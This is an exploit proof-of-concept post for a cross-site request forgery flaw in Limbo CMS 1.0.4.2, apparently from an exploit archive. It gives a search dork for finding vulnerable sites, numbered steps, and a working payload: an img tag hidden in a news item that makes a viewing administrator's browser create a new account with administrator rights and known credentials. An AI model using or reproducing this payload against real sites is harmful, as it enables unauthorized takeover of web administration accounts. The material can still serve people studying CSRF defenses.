Limbo CMS 1.0.4.2 CSRF Privilege Escalation PoC

2009-04-17 20:08:33

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# Limbo cms v 1042Lt #
# Cross-site request forgery #
# Privilege Escalation #
# Proof of Concept #
# by Alfons Luja #
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download : http://www.limboportal.com/index.php/option/downloads/task/download/id/67
d00rk: intext:"site powered by limbo" inurl:task=register

Sytuacion is similar to last vuln in Coppermine
http://milw0rm.com/exploits/8114

We need privilege to add news
if we have it then:

1]. Go to : http://target/~limbo/index.php?option=content&task=new&Itemid=[id]

2]. Set Title : whatever

Select Category : whatever

Set Intro text :

<img src="http://target/~limbo/admin.php?com_option=users&task=create&user_id=&user_name=toxiclove&user_username=echo&user_email=skk%40sk.pl&user_gid=5&user_password=test1"/>
(some html tags is not filtered)

Set Main Text : whatever
And submit

3]. When admin open this "new" in Control Panel
User toxiclove witch login = echo , pass = test1 && Administartor privilage
Become create

4]. The end
Greetings:
tyko dla babci i Gorionka , sIdq , condiego , 0ina , J.Busha , Nejmo , and all friend in a whole planet
Sorry for my poor english ;D

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Fixes

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